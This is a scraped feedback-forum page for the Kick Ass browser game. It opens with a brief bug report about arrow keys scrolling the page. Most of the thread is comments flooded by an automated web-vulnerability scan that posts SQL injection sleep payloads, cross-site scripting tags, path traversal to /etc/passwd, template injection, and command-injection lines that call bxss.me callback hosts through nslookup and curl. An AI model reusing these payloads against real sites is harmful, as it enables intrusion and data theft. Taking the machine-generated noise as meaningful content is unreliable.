Feedback

page moving up/down while controling the ship? by Tommy - 154 months ago

as the title says, when I use up and down arrow keys, the page moves as it normally would. So it's kinda frustrating to play at all.
I've been playing kick ass from almost day 1, and I've never had this issue before.
Although I haven't used it the past few months :)

• Erik

  We'll look into it!

• BeyPokéDig

  This sometimes happens with left/right arrows and even spacebar. Usually reloading the page will fix it, but not always. also some pages that have to be scrolled work as if they were just one screen (for example the top wraps to the bottom of the page and not the screen)

• Swegmaster99

  hi

• Elvamagne229

  ¿-¿

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1a9qEbIBnO

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• 1BAL6zo9QSO

  1

• WfxYANoW

  ${9999322+9999065}

• ${9999128+9999835}

  1

• Anonymous

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  response.write(9923502*9630524)

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  '+response.write(9923502*9630524)+'

• WfxYANoW

  "+response.write(9923502*9630524)+"

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  1

• WfxYANoW

  echo kvlzxe$()\ oxiswq\nz^xyu||a #' &echo kvlzxe$()\ oxiswq\nz^xyu||a #|" &echo kvlzxe$()\ oxiswq\nz^xyu||a #

• response.write(9413714*9222980)

  1

• WfxYANoW

  ../1

• WfxYANoW

  &echo fyvixm$()\ rlgmoy\nz^xyu||a #' &echo fyvixm$()\ rlgmoy\nz^xyu||a #|" &echo fyvixm$()\ rlgmoy\nz^xyu||a #

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  1&echo mslude$()\ mwtzlr\nz^xyu||a #' &echo mslude$()\ mwtzlr\nz^xyu||a #|" &echo mslude$()\ mwtzlr\nz^xyu||a #

• '+response.write(9413714*9222980)+'

  1

• file:///etc/passwd

  1

• WfxYANoW

  1

• WfxYANoW

  /etc/shells

• "+response.write(9413714*9222980)+"

  1

• WfxYANoW

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  bzyKV5Jo

• ../WfxYANoW

  1

• WfxYANoW

  RruHTZfz: gsvueqjh

• WfxYANoW

  1&n923339=v923464

• WfxYANoW

  |echo ogzbgy$()\ sezqoo\nz^xyu||a #' |echo ogzbgy$()\ sezqoo\nz^xyu||a #|" |echo ogzbgy$()\ sezqoo\nz^xyu||a #

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW&n969597=v977596

  1

• WfxYANoW

  bxss.me

• hkZPO4Ip

  1

• WfxYANoW

  1|echo albzgm$()\ pwrnff\nz^xyu||a #' |echo albzgm$()\ pwrnff\nz^xyu||a #|" |echo albzgm$()\ pwrnff\nz^xyu||a #

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  )

• RWVQU3dzTWg=

  1

• WfxYANoW

  (nslookup -q=cname hitsilyyjtnme6519d.bxss.me||curl hitsilyyjtnme6519d.bxss.me))

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  $(nslookup -q=cname hitscrwdapheha64f0.bxss.me||curl hitscrwdapheha64f0.bxss.me)

• n636alj9: 42Iv7efH

  1

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  &nslookup -q=cname hitkjtemqxruk3160a.bxss.me&'\"`0&nslookup -q=cname hitkjtemqxruk3160a.bxss.me&`'

• WfxYANoW

  1

• WfxYANoW

  '.gethostbyname(lc('hitjm'.'nnelgvsz1358d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(83).chr(113).chr(82).'

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  &(nslookup -q=cname hitpjtsykvxtx06ee9.bxss.me||curl hitpjtsykvxtx06ee9.bxss.me)&'\"`0&(nslookup -q=cname hitpjtsykvxtx06ee9.bxss.me||curl hitpjtsykvxtx06ee9.bxss.me)&`'

• WfxYANoW

  ".gethostbyname(lc("hitho"."tunvxpee94077.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(86).chr(105).chr(75)."

• WfxYANoW

  gethostbyname(lc('hittn'.'qmmmhkjw9119c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(74).chr(97).chr(65)

• WfxYANoW

  |(nslookup -q=cname hittgqcmzfwgce2c11.bxss.me||curl hittgqcmzfwgce2c11.bxss.me)

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  `(nslookup -q=cname hiteuangzeblwbb1ab.bxss.me||curl hiteuangzeblwbb1ab.bxss.me)`

• WfxYANoW

  '"()

• WfxYANoW

  ;(nslookup -q=cname hitwdytkynrmy4619f.bxss.me||curl hitwdytkynrmy4619f.bxss.me)|(nslookup -q=cname hitwdytkynrmy4619f.bxss.me||curl hitwdytkynrmy4619f.bxss.me)&(nslookup -q=cname hitwdytkynrmy4619f.bxss.me||curl hitwdytkynrmy4619f.bxss.me)

• )

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitjwduhnkakub3cea.bxss.me||curl${IFS}hitjwduhnkakub3cea.bxss.me)

• WfxYANoW

  1'&&sleep(27*1000)*nhfluz&&'

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• !(()&&!|*|*|

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitdlhbxoboxl94668.bxss.me||curl${IFS}hitdlhbxoboxl94668.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdlhbxoboxl94668.bxss.me||curl${IFS}hitdlhbxoboxl94668.bxss.me)&`'

• WfxYANoW

  1"&&sleep(27*1000)*zyffnk&&"

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  1'||sleep(27*1000)*mhatct||'

• ^(#$!@#$)(()))******

  1

• /etc/shells

  1

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  1"||sleep(27*1000)*pyrjkp||"

• WfxYANoW

  ";print(md5(31337));$a="

• xfs.bxss.me

  1

• WfxYANoW

  '"

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  1'"()&%<zzz><ScRiPt >taJx(9278)</ScRiPt>

• WfxYANoW

  <!--

• WfxYANoW

  1

• c:/windows/win.ini

  1

• WfxYANoW

  ${@print(md5(31337))}\

• '"

  1

• WfxYANoW

  '.print(md5(31337)).'

• bxss.me

  1

• <!--

  1

• '"()

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >taJx(9479)</ScRiPt>

• WfxYANoW'&&sleep(27*1000)*erluzz&&'

  1

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(118).concat(78).concat(102).concat(80)+(require"socket" Socket.gethostbyname("hituz"+"acgyqworf2d56.bxss.me.")[3].to_s)+"

• WfxYANoW"&&sleep(27*1000)*bfnamn&&"

  1

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• ';print(md5(31337));$a='

  1

• WfxYANoW

  19471947

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(122).concat(86).concat(116).concat(85)+(require'socket' Socket.gethostbyname('hitel'+'lifefhotb393c.bxss.me.')[3].to_s)+'

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW'||sleep(27*1000)*tcfwkz||'

  1

• WfxYANoW"||sleep(27*1000)*qcfjjq||"

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(112).concat(84).concat(118).concat(76)+(require'socket' Socket.gethostbyname('hitdx'+'otbslsng54ace.bxss.me.')[3].to_s)

• WfxYANoW

  bfg8460＜s1﹥s2ʺs3ʹhjl8460

• ";print(md5(31337));$a="

  1

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• ${@print(md5(31337))}

  1

• WfxYANoW

  comment

• WfxYANoW

  comment/.

• ${@print(md5(31337))}\

  1

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• comment

  1

• WfxYANoW

  1

• comment

  1

• '.print(md5(31337)).'

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• comment/.

  1

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >taJx(9363)</ScRiPt>

• WfxYANoW

  1<WSMZST>PUUPI[!+!]</WSMZST>

• WfxYANoW

  1<script>taJx(9007)</script>

• WfxYANoW

  1<script>taJx(9297)</script>9297

• WfxYANoW

  1<ScR<ScRiPt>IpT>taJx(9035)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >taJx(9021)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9850></ScRiPt>

• WfxYANoW

  1lSs3FJts

• WfxYANoW

  1<ScRiPt >taJx(9776)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=taJx(9001)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9328'>

• WfxYANoW

  1<body onload=taJx(9395)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=taJx(9657)>

• WfxYANoW

  1<img src=xyz OnErRor=taJx(9298)>

• WfxYANoW

  1<img/src=">" onerror=alert(9242)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%74%61%4A%78%289606%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\taJx(9157)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;taJx(9886)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=taJx(9762)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  1

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  -1 OR 2+108-108-1=0+0+0+1 --

• WfxYANoW

  1}body{zzz:Expre/**/SSion(taJx(9820))}

• WfxYANoW

  -1 OR 2+983-983-1=0+0+0+1

• WfxYANoW

  1TFC3R <ScRiPt >taJx(9859)</ScRiPt>

• WfxYANoW

  -1' OR 2+369-369-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+266-266-1=0+0+0+1 or 'stvAGRXn'='

• WfxYANoW

  -1" OR 2+201-201-1=0+0+0+1 --

• WfxYANoW

  1<WFHPSW>6WPFX[!+!]</WFHPSW>

• WfxYANoW

  1<ifRAme sRc=9353.com></IfRamE>

• WfxYANoW

  1<aJR70Z7 x=9041>

• WfxYANoW

  1<img sRc='http://attacker-9085/log.php?

• WfxYANoW

  1<aIrM8di<

• WfxYANoW'"()&%<zzz><ScRiPt >taJx(9696)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >taJx(9945)</ScRiPt>

  1

• WfxYANoW9866443

  1

• bfg8313＜s1﹥s2ʺs3ʹhjl8313

  1

• <%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >taJx(9379)</ScRiPt>

  1

• WfxYANoW<WPGPZJ>ZYS2U[!+!]</WPGPZJ>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<script>taJx(9126)</script>

  1

• WfxYANoW<script>taJx(9665)</script>9665

  1

• WfxYANoW<ScRiPt >taJx(9105)</ScRiPt>

  1

• WfxYANoW<ScRiPt >taJx(9298)</ScRiPt>

  1

• WfxYANoW<body onload=taJx(9370)>

  1

• WfxYANoW<img src=xyz OnErRor=taJx(9297)>

  1

• WfxYANoW<img/src=">" onerror=alert(9057)>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW\u003CScRiPt\taJx(9211)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;taJx(9732)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=taJx(9430)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(taJx(9626))}

  1

• WfxYANoWcGSsw <ScRiPt >taJx(9419)</ScRiPt>

  1

• WfxYANoW<WRTYGG>VWA1O[!+!]</WRTYGG>

  1

• WfxYANoW<ifRAme sRc=9663.com></IfRamE>

  1

• WfxYANoW<aDdfSO8 x=9437>

  1

• WfxYANoW<img sRc='http://attacker-9624/log.php?

  1

• WfxYANoW<aRGgxaV<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1WDBN6NBI'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 321=(SELECT 321 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 752=(SELECT 752 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 883=(SELECT 883 FROM PG_SLEEP(15))--

• WfxYANoW

  1Km7fuhUo' OR 539=(SELECT 539 FROM PG_SLEEP(15))--

• WfxYANoW

  1CYZFsP3u') OR 120=(SELECT 120 FROM PG_SLEEP(15))--

• WfxYANoW

  10cd7zP0P')) OR 102=(SELECT 102 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@2UM64

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWYE2fbYQN

  1

• WfxYANoW

  1

• -1 OR 2+809-809-1=0+0+0+1 --

  1

• -1 OR 2+387-387-1=0+0+0+1

  1

• -1' OR 2+985-985-1=0+0+0+1 --

  1

• -1' OR 2+319-319-1=0+0+0+1 or 'WBHGBzSU'='

  1

• -1" OR 2+16-16-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWnJhIKkA1'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@zikLo

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• kjomasum

  1

• mpcxowns

  response.write(9052712*9455661)

• uxdnulya

  1

• hpniuclp

  set|set&set

• mpcxowns

  '+response.write(9052712*9455661)+'

• uxdnulya

  1

• hpniuclp

  $(nslookup 3KjC2CMb)

• uuprtiya

  1djgKN2W

• mpcxowns

  "+response.write(9052712*9455661)+"

• uxdnulya

  AGVGLjKl

• hpniuclp

  &nslookup QMiMNTWF&'\"`0&nslookup QMiMNTWF&`'

• phSLf4xS

  1

• ngggvdix

  ../../../../../../../../../../etc/passwd

• response.write(9935223*9298908)

  1

• uxdnulya

  -1 OR 2+731-731-1=0+0+0+1 --

• set|set&set

  1

• aifkfdci

  1

• ngggvdix

  ../../../../../../../../../../../../../../../proc/version

• '+response.write(9935223*9298908)+'

  1

• uxdnulya

  -1 OR 2+962-962-1=0+0+0+1

• $(nslookup DIfQTm4X)

  1

• oinacvfs

  ${9999459+9999076}

• ngggvdix

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• "+response.write(9935223*9298908)+"

  1

• iadpjhvc

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• uxdnulya

  -1' OR 2+573-573-1=0+0+0+1 --

• &nslookup cAh4zxI8&'\"`0&nslookup cAh4zxI8&`'

  1

• ${10000434+9999455}

  1

• ngggvdix

  ../../../../../../../../../../etc/passwd.jpg

• RUVlUENyamM=

  1

• iadpjhvc

  1some_inexistent_file_with_long_name.jpg

• uxdnulya

  -1' OR 2+296-296-1=0+0+0+1 or 'xxuiyz6S'='

• ueluojhs

  1&n946547=v998693

• whlrvnpc

  )

• ngggvdix

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• iadpjhvc

  Http://testasp.vulnweb.com/t/fit.txt

• uxdnulya

  -1" OR 2+30-30-1=0+0+0+1 --

• aifkfdci

  1

• whlrvnpc

  !(()&&!|*|*|

• ngggvdix

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• maivtfnf

  '"()

• iadpjhvc

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• uxdnulya

  if(now()=sysdate(),sleep(13),0)/*'XOR(if(now()=sysdate(),sleep(13),0))OR'"XOR(if(now()=sysdate(),sleep(13),0))OR"*/

• Anonymous

  1

• whlrvnpc

  ^(#$!@#$)(()))******

• smpynsxt&n941530=v954618

  1

• ngggvdix

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• iadpjhvc

  testasp.vulnweb.com

• uxdnulya

  (select(0)from(select(sleep(13)))v)/*'+(select(0)from(select(sleep(13)))v)+'"+(select(0)from(select(sleep(13)))v)+"*/

• )

  1

• ngggvdix

  /etc/passwd

• '"()

  1

• uxdnulya

  -1; waitfor delay '0:0:13' --

• !(()&&!|*|*|

  1

• crtealqo

  ;print(md5(acunetix_wvs_security_test));

• ngggvdix

  %2fetc%2fpasswd

• bxwrlpmw

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• 1some_inexistent_file_with_long_name.jpg

  1

• uxdnulya

  -1); waitfor delay '0:0:13' --

• wqhbmfyy

  1

• ^(#$!@#$)(()))******

  1

• crtealqo

  ';print(md5(acunetix_wvs_security_test));$a='

• ngggvdix

  /.././.././.././.././.././.././.././../etc/./passwd%00

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• uxdnulya

  1 waitfor delay '0:0:13' --

• wqhbmfyy

  comment

• wckaxjft

  http://hit7CYKWH8Qyl.bxss.me/

• crtealqo

  ";print(md5(acunetix_wvs_security_test));$a="

• ngggvdix

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• mhrargbn

  1

• tbivmjbv

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• uxdnulya

  EjutrgA3'; waitfor delay '0:0:4' --

• wqhbmfyy

  comment

• crtealqo

  ${@print(md5(acunetix_wvs_security_test))}

• http://hitGzyj7dfQgJ.bxss.me/

  1

• ngggvdix

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• mhrargbn

  1'"

• testasp.vulnweb.com

  1

• uxdnulya

  gWzzOt5c'; waitfor delay '0:0:0' --

• wqhbmfyy

  comment/.

• crtealqo

  ${@print(md5(acunetix_wvs_security_test))}\

• ovdkkkqb

  /www.vulnweb.com

• mhrargbn

  \

• arielsva

  '"

• huqwsrlo

  1'"()&%<acx><ScRiPt >udli(9315)</ScRiPt>

• uxdnulya

  -1;select pg_sleep(4); --

• wqhbmfyy

  1

• ;print(md5(acunetix_wvs_security_test));

  1

• /www.vulnweb.com

  1

• ngggvdix

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• arielsva

  <!--

• uxdnulya

  -1;select pg_sleep(9); --

• comment

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• mhrargbn

  @@sYh6T

• ngggvdix

  file:///etc/passwd

• '"

  1

• huqwsrlo

  '"()&%<acx><ScRiPt >udli(9224)</ScRiPt>

• uxdnulya

  -1);select pg_sleep(4); --

• comment

  1

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• mhrargbn

  JyI=

• ngggvdix

  /\../\../\../\../\../\../\../etc/passwd

• <!--

  1

• uxdnulya

  -1);select pg_sleep(13); --

• comment/.

  1

• ${@print(md5(acunetix_wvs_security_test))}

  1

• ngggvdix

  WEB-INF/web.xml

• huqwsrlo

  1_9359

• uxdnulya

  -1));select pg_sleep(9); --

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• ngggvdix

  /WEB-INF/web.xml

• uxdnulya

  ROK9z6KB';select pg_sleep(9); --

• mhrargbn

  (select convert(int,CHAR(65)))

• ngggvdix

  WEB-INF\web.xml

• huqwsrlo

  acu4755＜s1﹥s2ʺs3ʹuca4755

• uxdnulya

  nTJDXWmi');select pg_sleep(9); --

• mhrargbn

  1

• ../../../../../../../../../../etc/passwd

  1

• uxdnulya

  c8Hf7Mli'));select pg_sleep(13); --

• 1'"

  1

• uxdnulya

  1

• \

  1

• uxdnulya

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• huqwsrlo

  {{9999396*10000072}}

• oQAbM9ec

  1

• @@fUFh8

  1

• -1 OR 2+869-869-1=0+0+0+1 --

  1

• JyI=

  1

• huqwsrlo

  1<ScRiPt >udli(9323)</ScRiPt>

• -1 OR 2+367-367-1=0+0+0+1

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1' OR 2+850-850-1=0+0+0+1 --

  1

• huqwsrlo

  1<WBGGYG>APGXZ[!+!]</WBGGYG>

• /etc/passwd

  1

• -1' OR 2+308-308-1=0+0+0+1 or 'wEdF2lJN'='

  1

• (select convert(int,CHAR(65)))

  1

• %2fetc%2fpasswd

  1

• -1" OR 2+184-184-1=0+0+0+1 --

  1

• huqwsrlo

  1<script>udli(9399)</script>

• huqwsrlo

  1<ScR<ScRiPt>IpT>udli(9119)</sCr<ScRiPt>IpT>

• 1 waitfor delay '0:0:9' --

  1

• huqwsrlo

  1<ScRiPt >udli(9622)</ScRiPt>

• IlGUJLSg'; waitfor delay '0:0:9' --

  1

• file:///etc/passwd

  1

• obLp8cHO';select pg_sleep(9); --

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• huqwsrlo

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9257></ScRiPt>

• uBjYUGga');select pg_sleep(13); --

  1

• WEB-INF/web.xml

  1

• NlUIncmD'));select pg_sleep(13); --

  1

• /WEB-INF/web.xml

  1

• huqwsrlo

  1<ScRiPt >udli(9457)</ScRiPt>

• WEB-INF\web.xml

  1

• huqwsrlo

  1<video><source onerror="javascript:udli(9649)">

• huqwsrlo

  1<isindex type=image src=1 onerror=udli(9374)>

• huqwsrlo

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9643'>

• huqwsrlo

  1<body onload=udli(9355)>

• huqwsrlo

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=udli(9439)>

• huqwsrlo

  1<img src=xyz OnErRor=udli(9181)>

• huqwsrlo

  1<img/src=">" onerror=alert(9843)>

• huqwsrlo

  %31%3C%53%63%52%69%50%74%20%3E%75%64%6C%69%289815%29%3C%2F%73%43%72%69%70%54%3E

• huqwsrlo

  1\u003CScRiPt\udli(9628)\u003C/sCripT\u003E

• huqwsrlo

  1&lt;ScRiPt&gt;udli(9491)&lt;/sCripT&gt;

• huqwsrlo

  1<input autofocus onfocus=udli(9213)>

• huqwsrlo

  <a HrEF=http://www.vulnweb.com></a>

• huqwsrlo

  <a HrEF=jaVaScRiPT:>

• huqwsrlo

  [url=http://www.vulnweb.com][/url]

• huqwsrlo

  1<img<!-- --> src=x onerror=alert(9940);//><!-- -->

• huqwsrlo

  1}body{acu:Expre/**/SSion(udli(9172))}

• huqwsrlo

  1<% contenteditable onresize=udli(9964)>

• huqwsrlo

  1_65Ndd <ScRiPt >udli(9825)</ScRiPt>

• huqwsrlo

  1<WIJBT7>ZF8LX[!+!]</WIJBT7>

• huqwsrlo

  1<ifRAme sRc=9271.com></IfRamE>

• huqwsrlo

  1<mNJ80j x=9357>

• huqwsrlo

  1<img sRc='http://attacker-9960/log.php?

• huqwsrlo'"()&%<acx><ScRiPt >udli(9877)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >udli(9079)</ScRiPt>

  1

• huqwsrlo_9262

  1

• acu9995＜s1﹥s2ʺs3ʹuca9995

  1

• {{9999129*9999331}}

  1

• huqwsrlo<ScRiPt >udli(9752)</ScRiPt>

  1

• huqwsrlo<WLZNAL>FPOS7[!+!]</WLZNAL>

  1

• huqwsrlo<script>udli(9224)</script>

  1

• huqwsrlo<ScRiPt >udli(9436)</ScRiPt>

  1

• huqwsrlo<ScRiPt >udli(9628)</ScRiPt>

  1

• huqwsrlo<body onload=udli(9938)>

  1

• huqwsrlo<img src=xyz OnErRor=udli(9542)>

  1

• huqwsrlo<img/src=">" onerror=alert(9233)>

  1

• huqwsrlo\u003CScRiPt\udli(9103)\u003C/sCripT\u003E

  1

• huqwsrlo&lt;ScRiPt&gt;udli(9034)&lt;/sCripT&gt;

  1

• huqwsrlo<input autofocus onfocus=udli(9344)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• huqwsrlo}body{acu:Expre/**/SSion(udli(9216))}

  1

• huqwsrlo<% contenteditable onresize=udli(9307)>

  1

• huqwsrlo_lievR <ScRiPt >udli(9539)</ScRiPt>

  1

• huqwsrlo<WG8KEW>LMUGE[!+!]</WG8KEW>

  1

• huqwsrlo<ifRAme sRc=9101.com></IfRamE>

  1

• huqwsrlo<9seL4y x=9839>

  1

• huqwsrlo<img sRc='http://attacker-9709/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2857 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  798 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  709 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  660 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  644 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  602 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
